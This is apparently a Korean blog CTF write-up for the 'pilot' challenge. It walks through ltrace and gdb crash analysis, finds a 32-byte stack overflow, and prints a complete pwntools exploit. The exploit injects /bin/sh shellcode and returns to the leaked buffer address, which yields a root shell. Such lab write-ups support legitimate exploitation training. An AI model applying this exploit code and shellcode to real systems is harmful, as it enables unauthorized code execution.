시작
안녕하세요 :D
파이썬과 pwntools에 익숙하다면 ㅎㅎ!! 이 문제는 쉽게 푸셨을 거에요.
대학교 1학년 때 파이썬을 포기했던 저는 단순한 문법을 몰라서 한참 삽질했습니다ㅠ
시작해보죠!!
Write UP
root@goorm:/workspace/LCH_Server/posting/pilot# ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffda1022500
[*]Command:aaaa
테란의 드랍쉽 파일럿인가 봅니다.
마린 메딕을 구하라면서 뜬금없이 좌표를 띡 던져주네요. 명령을 입력하면 바로 종료됩니다.
root@goorm:/workspace/LCH_Server/posting/pilot# ltrace ./pilot
__libc_start_main(0x4009a6, 1, 0x7fffca618cf8, 0x400b90
_ZNSt8ios_base4InitC1Ev(0x6021b9, 0xffff, 0x7fffca618d08, 5) = 0
__cxa_atexit(0x400850, 0x6021b9, 0x602070, 0x7fffca618ad0) = 0
setvbuf(0x7f2278570400, 0, 2, 0) = 0
setvbuf(0x7f2278570640, 0, 2, 0) = 0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400c19, 0, 0[*]Welcome DropShip Pilot...) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> ) = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400c36, 0, 0x7f227829c3c0[*]I am your assitant A.I....) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> ) = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400c58, 0, 0x7f227829c3c0[*]I will be guiding you through the tutorial
....) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> ) = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400c90, 0, 0x7f227829c3c0[*]As a first step, lets learn how to land at
the designated location....) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> ) = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400ce0, 0, 0x7f227829c3c0[*]Your mission is to lead the dropship to th
e right location and execute sequence of instructions to save Marines & Medics...) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> ) = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400d5f, 0, 0x7f227829c3c0[*]Good Luck Pilot!....) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> ) = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400d77, 0, 0x7f227829c3c0[*]Location:) = 0x6020a0
_ZNSolsEPKv(0x6020a0, 0x7fffca618bf0, 0x6020a0, 0x7f227829c3c00x7fffca618bf0) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> ) = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400d84, 0, 0x7f227829c3c0[*]Command:) = 0x6020a0
read(0aaaa
, "aaaa\n", 64) = 5
_ZNSt8ios_base4InitD1Ev(0x6021b9, 0, 224, 0x7f2278570f50) = 0x7f2278885460
+++ exited (status 0) +++
ltrace로 보니 괴랄한 함수들이 나오네요.. c++로 작성되었나 봅니다.
read()
가 64 bytes만큼 받네요. 생각보다 작지만 한 번 터뜨려보겠습니다.
root@goorm:/workspace/LCH_Server/posting/pilot# ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffc12e92990
[*]Command:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
세그멘테이션 오류
RAX: 0x0
RBX: 0x0
RCX: 0x7f09a02ce360 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x40 ('@')
RSI: 0x7ffdffc666e0 ('a' )
RDI: 0x0
RBP: 0x6161616161616161 ('aaaaaaaa')
RSP: 0x7ffdffc66708 ('a' )
RIP: 0x400b35 (ret)
R8 : 0x7f09a05a39e0 --> 0x0
R9 : 0x400d84 ("[*]Command:")
R10: 0x7ffdffc664a0 --> 0x0
R11: 0x246
R12: 0x4008b0 (xor ebp,ebp)
R13: 0x7ffdffc667e0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400b2d: jmp 0x400b34
0x400b2f: mov eax,0x0
0x400b34: leave
=> 0x400b35: ret
0x400b36: push rbp
0x400b37: mov rbp,rsp
0x400b3a: sub rsp,0x10
0x400b3e: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7ffdffc66708 ('a' )
0008| 0x7ffdffc66710 ('a' )
0016| 0x7ffdffc66718 ("aaaaaaaa")
0024| 0x7ffdffc66720 --> 0x100000000
0032| 0x7ffdffc66728 --> 0x4009a6 (push rbp)
0040| 0x7ffdffc66730 --> 0x0
0048| 0x7ffdffc66738 --> 0x6622a7752262bc0f
0056| 0x7ffdffc66740 --> 0x4008b0 (xor ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400b35 in ?? ()
앗 터지네요!! 버퍼는 64 bytes 미만이기 때문에
페이로드를 조금씩 바꿔보면서 RBP의 변화를 살펴보겠습니다.
gdb-peda$ r
Starting program: /workspace/LCH_Server/posting/pilot/pilot aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAABBBBBBBB
warning: Error disabling address space randomization: 명령을 허용하지 않음
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffeab744c90
[*]Command:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAABBBBBBBB
.
.
RAX: 0x0
RBX: 0x0
RCX: 0x7fb630988360 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x40 ('@')
RSI: 0x7ffe826de7a0 ('a' , "AAAAAAAABBBBBBBB\n")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffe826de7c8 ("BBBBBBBB\n")
RIP: 0x400b35 (ret)
R8 : 0x7fb630c5d9e0 --> 0x0
R9 : 0x400d84 ("[*]Command:")
R10: 0x7ffe826de560 --> 0x0
R11: 0x246
R12: 0x4008b0 (xor ebp,ebp)
R13: 0x7ffe826de8a0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
삽질의 결과 a를 32개, A를 8개, B를 8개 주었을 때 RBP가 A로, RET가 B로 덮이는 모습입니다.
따라서 버퍼는 32 bytes라는 것을 알았네요.
overflow가 된다는 사실도 알았으니 익스를 구성해볼까요? 일단 보호기법을 체크하고 넘어가겠습니다.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
Partial RELRO
를 제외한 아무런 보호기법이 없네요 ㅋㅋㅋㅋㅋ
버퍼에 쉘코드를 때려박은 후 Return 하면 쉘이 따질 것 같습니다.
저는 \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05 를 사용하겠습니다.
이제 우리는 버퍼의 시작주소만 알면 됩니다.
gdb로 a를 32개 + A를 8개 + B를 8개 준 후 레지스터를 살펴보죠.
gdb-peda$ r
Starting program: /workspace/LCH_Server/posting/pilot/pilot
warning: Error disabling address space randomization: 명령을 허용하지 않음
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7fff8097efd0
[*]Command:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAABBBBBBBB
gdb-peda$ x/40wx 0x7fff8097efd0
0x7fff8097efd0: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fff8097efe0: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fff8097eff0: 0x41414141 0x41414141 0x42424242 0x42424242
0x7fff8097f000: 0x0000000a 0x00000000 0x8097f0d8 0x00007fff
0x7fff8097f010: 0x00000000 0x00000001 0x004009a6 0x00000000
0x7fff8097f020: 0x00000000 0x00000000 0x12a18487 0x9b356aab
0x7fff8097f030: 0x004008b0 0x00000000 0x8097f0d0 0x00007fff
0x7fff8097f040: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fff8097f050: 0xf2a18487 0x64ca6b84 0xcf5b8487 0x641212e5
0x7fff8097f060: 0x00000000 0x00000000 0x00000000 0x00000000
Location에 찍힌 주소를 확인해 보니 버퍼의 시작 주소였네요!! 친절한 친구였습니다.
버퍼에 쉘 코드를 넣은 후 남은 자리는 nop으로 채우고, RET을 버퍼의 시작 주소로 주겠습니다.
#!/usr/bin/python
#-*- coding=utf-8 -*-
from pwn import *
#context.log_level = "debug"
e = ELF("./pilot")
l = e.libc
p = process(e.path)
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.recvuntil("tion:0x")
buf_start = p.recv(12)
buf_start = int(buf_start, 16)
payload = ""
payload += shellcode
payload += "\x90" * (32 - len(shellcode))
payload += "A" * 8 #SFP
payload += p64(buf_start) #RET
p.sendline(payload)
p.interactive()
여기서 했던 삽질은 recv(12)
로 받아온 문자열 buf_start를 어떻게 페이로드에 보내주냐였습니다.
처음엔 그냥 문자열인 채로 패킹해서 보내면 알아서 되겠지.. 했지만 실패했어요ㅠㅠㅠㅠ
int("str", 16)
을 주면 str을 16진수형 변수로 바꿔주더군요. 파이썬 참 대단한 듯
이렇게 바꿔준 후 패킹해서 보내니 쉘이 따졌습니다.
[*] '/workspace/LCH_Server/posting/pilot/pilot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/workspace/LCH_Server/posting/pilot/pilot': pid 1424
[*] Switching to interactive mode
[*]Command:$ whoami
root
Exploit!!
마무리
왜 1학년 땐 파이썬이 어렵다고 생각했을까요?
사람은 역시 파이썬을 해야합니다. 안 그러면 익스 코드 어떻게 짤까요 ㅠㅠㅠ
이 문제 덕분에 문자열을 16진수로 바꿔야 한다는 사소한 팁?? 을 배웠습니다!!
감사합니다 :D
'CTF_Write_UP' 카테고리의 다른 글
[Pico CTF 2013] ROP3 (0) | 2019.06.12 |
---|---|
[HSCTF 2019] Write up (0) | 2019.06.08 |
[Codegate 2018] BaskinRobins31 (0) | 2019.05.27 |
[2019 DefCon Quals] speedrun-002 (0) | 2019.05.25 |
[2019 DefCon Quals] speedrun-001 (0) | 2019.05.23 |